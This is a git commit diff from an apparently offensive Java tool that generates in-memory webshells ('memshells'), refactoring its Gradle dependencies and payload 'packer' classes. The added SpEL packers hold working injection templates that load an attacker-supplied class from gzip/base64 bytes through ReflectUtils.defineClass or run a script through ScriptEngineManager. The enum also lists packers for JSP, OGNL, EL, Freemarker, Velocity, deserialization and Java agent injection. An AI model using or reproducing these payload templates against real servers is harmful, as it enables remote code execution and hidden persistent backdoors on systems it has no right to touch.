refactor: use platform to manage dependency

1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)

generator/build.gradle

@@ -43,29 +43,29 @@ dependencies {
     implementation project(":deserialize")
     implementation project(":memshell")
     implementation project(":memshell-java8")
-    implementation 'net.bytebuddy:byte-buddy:1.+'
-    implementation 'javax.servlet:javax.servlet-api:3.0.1'
-    implementation 'javax.websocket:javax.websocket-api:1.1'
-    implementation 'org.java-websocket:Java-WebSocket:1.5.7'
-    implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
-    implementation 'xalan:xalan:2.7.0'
-    implementation 'org.apache.bcel:bcel:5.2'
+    implementation 'net.bytebuddy:byte-buddy'
 
-    implementation 'commons-io:commons-io:2.+'
-    implementation 'org.apache.commons:commons-lang3:3.+'
-    implementation 'commons-codec:commons-codec:1.+'
+    implementation 'javax.servlet:javax.servlet-api'
+    implementation 'javax.websocket:javax.websocket-api'
+    implementation 'jakarta.servlet:jakarta.servlet-api'
 
-    implementation 'com.squareup.okhttp3:okhttp:4.+'
-    implementation 'ch.qos.logback:logback-classic:1.+'
-    implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
+    implementation 'xalan:xalan'
+    implementation 'org.apache.bcel:bcel'
 
-    implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
-    implementation 'org.springframework:spring-web:4.3.30.RELEASE'
-    implementation 'org.springframework:spring-webflux:5.3.24'
-    implementation 'io.netty:netty-all:4.1.116.Final'
-    implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
-    testImplementation platform('org.junit:junit-bom:5.+')
+    implementation 'commons-io:commons-io'
+    implementation 'org.apache.commons:commons-lang3'
+    implementation 'commons-codec:commons-codec'
+    implementation 'com.squareup.okhttp3:okhttp'
+    implementation 'ch.qos.logback:logback-classic'
+    implementation 'com.alibaba.fastjson2:fastjson2'
+    implementation 'org.java-websocket:Java-WebSocket'
+
+    implementation 'org.springframework:spring-webmvc'
+    implementation 'org.springframework:spring-webflux'
+    implementation 'io.projectreactor.netty:reactor-netty-core'
+
+    testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
     testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
-    testImplementation "org.mockito:mockito-core:5.+"
+    testImplementation "org.mockito:mockito-core"
 }

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb;
 import com.reajason.javaweb.memshell.AbstractShell;
 import com.reajason.javaweb.memshell.SpringWebFluxShell;
 import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -67,10 +67,10 @@ public class GeneratorMain {
     }
 
     @SneakyThrows
-    public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
+    public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
         GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
         if (generateResult != null) {
-            return packerInstance.getPacker().pack(generateResult);
+            return packerInstance.getInstance().pack(generateResult);
         }
         return null;
     }

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java

@@ -15,83 +15,18 @@ public interface Packer {
      * 将生成的内存马打包成指定格式
      *
      * @param generateResult 生成的内存马信息
-     * @return 指定格式字节数组
+     * @return 字符串 payload
      */
     default String pack(GenerateResult generateResult) {
         throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
     }
 
+    /**
+     * 将生成的内存马打包成 bytes
+     * @param generateResult 生成的内存马信息
+     * @return 字节数组
+     */
     default byte[] packBytes(GenerateResult generateResult) {
         throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
     }
-
-    /**
-     * 部分打包器可能需要配置来进行额外的配置项
-     *
-     * @param generateResult 生成的内存马信息
-     * @param config         配置
-     * @return 字节数组
-     */
-    default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
-        throw new UnsupportedOperationException();
-    }
-
-
-    @Getter
-    static enum INSTANCE {
-        /**
-         * Base64
-         */
-        Base64(new Base64Packer()),
-
-        /**
-         * GzipBase64
-         */
-        GzipBase64(new GzipBase64()),
-
-        Jar(new SimpleJarPacker()),
-
-        /**
-         * BCEL
-         */
-        BCEL(new BCELPacker()),
-
-        /**
-         * JSP 打包器
-         */
-        JSP(new JspPacker()),
-
-        /**
-         * 脚本引擎打包器
-         */
-        ScriptEngine(new ScriptEnginePacker()),
-
-        /**
-         * 反序列化打包器
-         */
-        Deserialize(new DeserializePacker()),
-
-        /**
-         * EL
-         */
-        EL(new ELPacker()),
-
-        OGNL(new OGNLPacker()),
-
-        SpEL(new SpELPacker()),
-
-        Freemarker(new FreemarkerPacker()),
-
-        Velocity(new VelocityPacker()),
-
-        AgentJar(new AgentJarPacker()),
-
-        XxlJob(new XxlJobPacker()),
-        ;
-        private final Packer packer;
-
-        INSTANCE(Packer packer) {
-            this.packer = packer;
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

@@ -0,0 +1,69 @@
+package com.reajason.javaweb.memshell.packer;
+
+import lombok.Getter;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/23
+ */
+@Getter
+public enum Packers {
+    /**
+     * Base64
+     */
+    Base64(new Base64Packer()),
+
+    /**
+     * GzipBase64
+     */
+    GzipBase64(new GzipBase64()),
+
+    Jar(new SimpleJarPacker()),
+
+    /**
+     * BCEL
+     */
+    BCEL(new BCELPacker()),
+
+    /**
+     * JSP 打包器
+     */
+    JSP(new JspPacker()),
+
+    /**
+     * 脚本引擎打包器
+     */
+    ScriptEngine(new ScriptEnginePacker()),
+
+    /**
+     * 反序列化打包器
+     */
+    Deserialize(new DeserializePacker()),
+
+    /**
+     * EL
+     */
+    EL(new ELPacker()),
+
+    OGNL(new OGNLPacker()),
+
+    SpEL(new SpELSpringIOUtilsGzipPacker()),
+
+    Freemarker(new FreemarkerPacker()),
+
+    Velocity(new VelocityPacker()),
+
+    AgentJar(new AgentJarPacker()),
+
+    XxlJob(new XxlJobPacker()),
+    ;
+    private final Packer instance;
+
+    Packers(Packer instance) {
+        this.instance = instance;
+    }
+
+    Packer getPacker(Packers packerType) {
+        return null;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java

@@ -1,31 +0,0 @@
-package com.reajason.javaweb.memshell.packer;
-
-import com.reajason.javaweb.memshell.config.GenerateResult;
-import org.apache.commons.io.IOUtils;
-
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.util.Objects;
-
-/**
- * @author ReaJason
- * @since 2024/12/13
- */
-public class SpELPacker implements Packer {
-    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
-    String template = "";
-
-    public SpELPacker() {
-        try {
-            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
-        } catch (IOException ignored) {
-
-        }
-    }
-
-    @Override
-    public String pack(GenerateResult generateResult) {
-        String script = scriptEnginePacker.pack(generateResult);
-        return template.replace("{{script}}", script);
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.memshell.packer;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class SpELScriptEnginePacker implements Packer {
+    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+    String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java

@@ -0,0 +1,21 @@
+package com.reajason.javaweb.memshell.packer;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import lombok.SneakyThrows;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class SpELSpringIOUtilsGzipPacker implements Packer {
+    String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
+
+    @Override
+    @SneakyThrows
+    public String pack(GenerateResult generateResult) {
+        return template.replace("{{className}}", generateResult.getInjectorClassName())
+                .replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.packer;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class SpELSpringUtilPacker implements Packer {
+    String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        return template.replace("{{className}}", generateResult.getInjectorClassName())
+                .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
+    }
+}